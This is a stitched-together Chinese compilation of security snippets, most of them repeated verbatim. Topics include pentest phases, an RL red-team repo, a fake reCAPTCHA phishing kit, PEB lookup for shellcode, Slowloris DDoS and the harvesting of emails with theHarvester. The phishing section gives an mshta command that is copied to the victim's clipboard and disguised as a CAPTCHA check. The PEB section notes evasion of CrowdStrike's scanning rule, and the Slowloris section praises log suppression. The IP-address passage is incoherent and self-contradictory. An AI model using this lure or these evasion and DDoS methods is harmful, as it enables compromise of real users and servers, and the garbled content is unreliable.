网络渗透测试的阶段
1. 规划和侦察:这一初始阶段涉及收集尽可能多的有关目标网络的信息。其中包括确定范围、目标和交战规则。侦察可以是被动的(例如,从公共来源收集信息),也可以是主动的(例如,网络扫描)。
2. 扫描:下一阶段涉及识别开放端口、服务和潜在漏洞。Nmap 和 Nessus 等工具通常用于扫描和漏洞评估。
3. 获取访问权限:此阶段涉及利用已识别的漏洞获取网络访问权限。技术可能包括 SQL 注入、网络钓鱼和利用未打补丁的软件。
4. 保持访问权限:一旦获得访问权限,测试人员就会尝试保持其在网络中的存在。这可能涉及安装后门或创建用户帐户以确保持续访问。
5. 分析和报告:测试结果将汇编成详细报告。报告包括已识别的漏洞、利用方法、潜在影响以及补救建议。
6. 补救和重新测试:解决漏洞后,进行重新测试以确保问题得到有效缓解
1. 规划和侦察:这一初始阶段涉及收集尽可能多的有关目标网络的信息。其中包括确定范围、目标和交战规则。侦察可以是被动的(例如,从公共来源收集信息),也可以是主动的(例如,网络扫描)。
2. 扫描:下一阶段涉及识别开放端口、服务和潜在漏洞。Nmap 和 Nessus 等工具通常用于扫描和漏洞评估。
3. 获取访问权限:此阶段涉及利用已识别的漏洞获取网络访问权限。技术可能包括 SQL 注入、网络钓鱼和利用未打补丁的软件。
4. 保持访问权限:一旦获得访问权限,测试人员就会尝试保持其在网络中的存在。这可能涉及安装后门或创建用户帐户以确保持续访问。
5. 分析和报告:测试结果将汇编成详细报告。报告包括已识别的漏洞、利用方法、潜在影响以及补救建议。
6. 补救和重新测试:解决漏洞后,进行重新测试以确保问题得到有效缓解
CLAP是一个强化学习PPO 代理,在模拟计算机网络环境中执行渗透测试
网络攻击模拟器 (NASim) 是一个模拟计算机网络,具有漏洞、扫描和漏洞利用,旨在用作 AI 代理的测试环境和应用于网络渗透测试的规划技术。
然而,与原始论文相比,此 repo 做出了以下更改
基于CleanRL开发
为 POMDP 场景添加 LSTM
由于循环无模型强化学习可以成为许多 POMDP 的强大基线
为了支持 NASim 2D 观察空间,Transformer已实施为先例
用于Conda管理python环境和Poetry管理包。开始
克隆此 repo:
git clone /github.com/yyzpiero/RL4RedTeam.git
创建 conda 环境:
conda create -p ./venv python==X.X
并使用 poetry 安装所有 Python 包:
poetry install
网络攻击模拟器 (NASim) 是一个模拟计算机网络,具有漏洞、扫描和漏洞利用,旨在用作 AI 代理的测试环境和应用于网络渗透测试的规划技术。
然而,与原始论文相比,此 repo 做出了以下更改
基于CleanRL开发
为 POMDP 场景添加 LSTM
由于循环无模型强化学习可以成为许多 POMDP 的强大基线
为了支持 NASim 2D 观察空间,Transformer已实施为先例
用于Conda管理python环境和Poetry管理包。开始
克隆此 repo:
git clone /github.com/yyzpiero/RL4RedTeam.git
创建 conda 环境:
conda create -p ./venv python==X.X
并使用 poetry 安装所有 Python 包:
poetry install
下载项目至本地,点击index.html。并且修改index.html第423行,加上项目路径。
用户点击方框,此时粘贴板已复制了攻击命令(可自定义):
mshta file://C:Users用户名Desktopecaptcha-phish-mainecaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3495''
如果此时用户被诱导,打开windows+R,并且输入命令,则此时用户将会执行恶意payload。并且在用户视角看上去,仅看到✅ ''I am not a robot - reCAPTCHA Verification ID: 3205''。
用户点击方框,此时粘贴板已复制了攻击命令(可自定义):
mshta file://C:Users用户名Desktopecaptcha-phish-mainecaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3495''
如果此时用户被诱导,打开windows+R,并且输入命令,则此时用户将会执行恶意payload。并且在用户视角看上去,仅看到✅ ''I am not a robot - reCAPTCHA Verification ID: 3205''。
获取PEB结构体的地址
不同位数系统的下的PEB结构体在TEB或者寄存器中的偏移量是不同的,且同一位数系统下都存在着两种获取PEB的方法,下面我将详细介绍。
首先我们要明白,GS/FS寄存器存储着当前TEB指针,而TEB结构体偏移0x30/0x18的位置上也存储着当前TEB指针,所以就出现了两种方法获取PEB指针的方法,它们之间的适用场景不同。
方法一:避免直接依赖寄存器,兼容性更强。可以规避对 0x60 偏移的系统调用监控(如CrowdStrike的PEB扫描规则)
方法二:代码简洁、效率高,常用于shellcode开发。
在64位系统下获得PEB
方法一:从TEB出发
TEB的指针存放在 GS 寄存器偏移0x30的位置,而Visual Studio提供 __readgsqword(0x30) 这个宏定义,可以方便我们读取TEB指针。
在线程环境块 (TEB) 结构中是存放着指向 PEB 结构的指针,PEB指针在TEB结构体中偏移0x60的位置上。
不同位数系统的下的PEB结构体在TEB或者寄存器中的偏移量是不同的,且同一位数系统下都存在着两种获取PEB的方法,下面我将详细介绍。
首先我们要明白,GS/FS寄存器存储着当前TEB指针,而TEB结构体偏移0x30/0x18的位置上也存储着当前TEB指针,所以就出现了两种方法获取PEB指针的方法,它们之间的适用场景不同。
方法一:避免直接依赖寄存器,兼容性更强。可以规避对 0x60 偏移的系统调用监控(如CrowdStrike的PEB扫描规则)
方法二:代码简洁、效率高,常用于shellcode开发。
在64位系统下获得PEB
方法一:从TEB出发
TEB的指针存放在 GS 寄存器偏移0x30的位置,而Visual Studio提供 __readgsqword(0x30) 这个宏定义,可以方便我们读取TEB指针。
在线程环境块 (TEB) 结构中是存放着指向 PEB 结构的指针,PEB指针在TEB结构体中偏移0x60的位置上。
Slow Loris 攻击 – Slowloris 是一个 DDoS 工具包,它会向目标服务器发送部分请求,以尽可能长时间保持连接打开。同时,它会以一定的间隔发送 HTTP 标头,这会增加请求,但从不建立任何连接。这种类型的 DDoS 攻击很快就会瘫痪一个网站。它需要的带宽很少,而且只影响目标服务器的 Web 服务器,几乎不会对其他服务和端口产生任何副作用。它的工作原理是打开到目标 Web 服务器的多个连接,并尽可能长时间保持它们打开。它不断发送部分 HTTP 请求,但这些请求都不会完成。最终,目标服务器的最大连接池会被填满,其他连接尝试将被拒绝。
当受攻击的套接字超时时,Slowloris 会重新启动连接,继续使 Web 服务器负载过大。它移动缓慢,但稳定,并且可以持续很长时间。Slowloris 的设计既隐蔽又有效,可以修改为在虚拟主机成为目标时发送不同的主机标头,并且为每个虚拟主机单独存储日志。更重要的是,在攻击过程中,Slowloris 可以设置为抑制日志文件创建。这意味着攻击可以出其不意地打未监控的服务器一个措手不及,而日志文件条目中不会出现任何危险信号。
当受攻击的套接字超时时,Slowloris 会重新启动连接,继续使 Web 服务器负载过大。它移动缓慢,但稳定,并且可以持续很长时间。Slowloris 的设计既隐蔽又有效,可以修改为在虚拟主机成为目标时发送不同的主机标头,并且为每个虚拟主机单独存储日志。更重要的是,在攻击过程中,Slowloris 可以设置为抑制日志文件创建。这意味着攻击可以出其不意地打未监控的服务器一个措手不及,而日志文件条目中不会出现任何危险信号。
攻击原理:
HTTP慢速攻击是利用HTTP现有合法机制,在建立了与HTTP服务器的连接后,尽量长时间保持该连接,不释放,达到对HTTP服务器的攻击。常见的攻击有两种:
Slow POST: 攻击发送Post报文向服务器请求提交数据,将总报文长度设置为一个很大的数值,但是在随后的数据发送中,每次只发送很小的报文,这样导致服务器端一直等待攻击者发送数据。
Slow headers: 攻击通过GET或者POST向服务器建立连接,但是HTTP头字段不发送结束符,之后发送其他字段进行保活。服务器会一直等待头信息中结束符而导致连接始终被占用
针对HTTP慢速攻击的特点,Anti-DDoS设备对每秒钟HTTP并发连接数进行检查,当每秒钟HTTP并发连接数超过设定值时,会触发HTTP报文检查,检查出以下任意一种情况,都认定受到HTTP慢速连接攻击,则将该源IP地址判定为攻击源,加入动态黑名单,同时断开此IP地址与HTTP服务器的连接。
连续多个HTTP POST报文的总长度都很大,但是其HTTP载荷长度都很小。
连续多个HTTP GET/POST报文的报文头都没有结束标识。
HTTP慢速攻击是利用HTTP现有合法机制,在建立了与HTTP服务器的连接后,尽量长时间保持该连接,不释放,达到对HTTP服务器的攻击。常见的攻击有两种:
Slow POST: 攻击发送Post报文向服务器请求提交数据,将总报文长度设置为一个很大的数值,但是在随后的数据发送中,每次只发送很小的报文,这样导致服务器端一直等待攻击者发送数据。
Slow headers: 攻击通过GET或者POST向服务器建立连接,但是HTTP头字段不发送结束符,之后发送其他字段进行保活。服务器会一直等待头信息中结束符而导致连接始终被占用
针对HTTP慢速攻击的特点,Anti-DDoS设备对每秒钟HTTP并发连接数进行检查,当每秒钟HTTP并发连接数超过设定值时,会触发HTTP报文检查,检查出以下任意一种情况,都认定受到HTTP慢速连接攻击,则将该源IP地址判定为攻击源,加入动态黑名单,同时断开此IP地址与HTTP服务器的连接。
连续多个HTTP POST报文的总长度都很大,但是其HTTP载荷长度都很小。
连续多个HTTP GET/POST报文的报文头都没有结束标识。
使用 IP 地址: IP(Internet 协议)地址是分配给连接到 Internet 的设备的一个数字。它让设备知道它们在地理位置上的位置,以便它们能够在网络和计算机之间正常地来回发送数据。但有时,这些数字也可以用作跟踪手段,可以通过计算机揭示某人的位置。有些计算机可以通过其内置的 Internet 连接轻松获取其 IP 地址,但这也可以通过使用代理服务器来实现。代理服务器通常用于匿名化互联网流量。
使用搜索查询:如果您的IP 地址只是众多被搜索的 IP 地址之一,那么在大多数情况下,搜索结果将首先记录 IP 地址,甚至不会费心寻找其他信息。有时会使用匿名器,以便尽可能不泄露任何信息。
使用地理定位:在美国,可以使用 Google 和 Foursquare 等软件来帮助使用 IP 地址定位某人的位置。在某些情况下,这可以追溯到当时正在使用其计算机的个人。
尽可能使用替代服务:最常见的情况是,人们会使用电子邮件或浏览器设置来尝试掩盖其实际 IP 地址。但是,如果他们使用了代理服务器或访问了其他加密网站,则无法发现他们这样做了。这就是为什么不应使用匿名器的原因之一,因为它会泄露您的确切地理位置。
使用搜索查询:如果您的IP 地址只是众多被搜索的 IP 地址之一,那么在大多数情况下,搜索结果将首先记录 IP 地址,甚至不会费心寻找其他信息。有时会使用匿名器,以便尽可能不泄露任何信息。
使用地理定位:在美国,可以使用 Google 和 Foursquare 等软件来帮助使用 IP 地址定位某人的位置。在某些情况下,这可以追溯到当时正在使用其计算机的个人。
尽可能使用替代服务:最常见的情况是,人们会使用电子邮件或浏览器设置来尝试掩盖其实际 IP 地址。但是,如果他们使用了代理服务器或访问了其他加密网站,则无法发现他们这样做了。这就是为什么不应使用匿名器的原因之一,因为它会泄露您的确切地理位置。
主动信息收集
DNS 暴力破解:此插件将运行字典暴力枚举
DNS 反向查找:反向查找发现的 IP,以查找主机名
DNS TDL 扩展:TLD 字典暴力枚举
开始使用 Theharvester
在本文中,我将使用 Kali Linux 中的电子邮件收集器(名为 theharvester)来收集电子邮件。
它是内置工具,因此您不必担心如何安装,而且您可以在终端中运行一个简单的命令来使用 theharvester 工具#收割者
DNS 暴力破解:此插件将运行字典暴力枚举
DNS 反向查找:反向查找发现的 IP,以查找主机名
DNS TDL 扩展:TLD 字典暴力枚举
开始使用 Theharvester
在本文中,我将使用 Kali Linux 中的电子邮件收集器(名为 theharvester)来收集电子邮件。
它是内置工具,因此您不必担心如何安装,而且您可以在终端中运行一个简单的命令来使用 theharvester 工具#收割者